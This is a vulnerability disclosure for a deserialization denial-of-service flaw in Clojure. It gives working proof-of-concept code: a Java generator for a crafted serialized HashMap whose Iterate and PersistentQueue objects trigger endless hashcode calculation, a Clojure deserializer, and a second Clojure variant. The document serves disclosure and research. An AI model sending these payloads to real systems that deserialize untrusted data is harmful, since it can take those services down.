# Vulnerability Details - Clojure Denial of service attack by Deserialization
## Vulnerability Description
Under org.clojure:clojur (1.2.0 - 1.12.0-alpha5), there exists a denial of service attack initiated through deserialization. By constructing appropriate objects, continuous hashcode calculations can be initiated.
> `core$partial$fn__5920` is actually obtained by reading the jar file, and I am not very familiar with Clojure.
>
> The discovery of this vulnerability was made using a private tool, but due to a lack of knowledge in Clojure.
## Verification Demonstration
```bash
gtimeout 30s /Library/Java/JavaVirtualMachines/zulu-11.jdk/Contents/Home/bin/java -classpath /Users/fe1w0/.m2/repository/org/clojure/clojure/1.12.0-alpha5/clojure-1.12.0-alpha5.jar:/Users/fe1w0/.m2/repository/org/clojure/spec.alpha/0.3.218/spec.alpha-0.3.218.jar:/Users/fe1w0/.m2/repository/org/clojure/core.specs.alpha/0.2.62/core.specs.alpha-0.2.62.jar clojure.main /Users/fe1w0/Project/Poc/PocALL/src/main/clojure/poc/clojure/dos.clj
```
### Vulnerability demo - triple speed
![Poc](https://hackmd.io/_uploads/S1PtMGsdT.gif)
## Verification Script
Serialization Data Generation Script
```java
package poc.clojure.dos;
import clojure.core$gen_class;
import clojure.core$partial$fn__5920;
import clojure.lang.ArraySeq;
import clojure.lang.Iterate;
import clojure.lang.PersistentQueue;
import clojure.lang.PersistentVector;
import org.apache.commons.lang3.reflect.FieldUtils;
import java.io.*;
import java.util.HashMap;
/**
* @author fe1w0
* @date 2024/1/9 23:45
* @Project PocALL
*/
public class GenData {
public static void main(String[] args) throws IllegalAccessException {
HashMap<PersistentQueue, Object> map = new HashMap<>();
PersistentQueue model = PersistentQueue.EMPTY;
FieldUtils.writeField(model, "r", PersistentVector.EMPTY, true);
FieldUtils.writeField(model, "_hash", 1, true);
HashMap<String, String> gen_map = new HashMap<>();
gen_map.put("xyz.xzaslxr", "fe1w0");
core$partial$fn__5920 proxy = new core$partial$fn__5920(new core$gen_class(), gen_map);
Iterate iterate = (Iterate) Iterate.create(proxy, new HashMap<>());
Iterate control_first = iterate;
FieldUtils.writeField(model, "f", ArraySeq.create(control_first), true);
map.put(model, null);
FieldUtils.writeField(model, "_hash", 0, true);
try {
FileOutputStream fileOut = new FileOutputStream("output/dos-clojure.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(map);
out.close();
fileOut.close();
System.out.println("Serialized data is saved in output/dos-clojure.ser");
} catch (IOException i) {
i.printStackTrace();
}
}
}
```
Clojure DeSerialization Script
```
(ns poc.clojure.dos)
(defn deserialize-obj [filename]
(with-open [inp (-> (java.io.File. filename) java.io.FileInputStream. java.io.ObjectInputStream.)]
(.readObject inp)))
(deserialize-obj "/Users/fe1w0/Project/Poc/PocALL/output/dos-clojure.ser")
```
### Other Way
This way will affect versions from 1.2.0 - 1.12.0.
>Links(Taking from Eugene Pakhomov):
> - https://ask.clojure.org/index.php/13617/security-problems-command-execution-clojure-clojure-alpha5?show=13628#c13628
```clojure
(ns poc.clojure.ask)
(let [out (java.io.ByteArrayOutputStream.)
obj-out (java.io.ObjectOutputStream. out)
i (iterate identity nil)]
(doto (-> i (class) (.getSuperclass) (.getDeclaredField "_hash"))
(.setAccessible true)
(.set i (int 1)))
(.writeObject obj-out (java.util.HashMap. {i nil}))
(println "Writing is done. Reading...")
(let [in (java.io.ByteArrayInputStream. (.toByteArray out))
obj-in (java.io.ObjectInputStream. in)]
(.readObject obj-in)
(println "Will never be printed.")))
```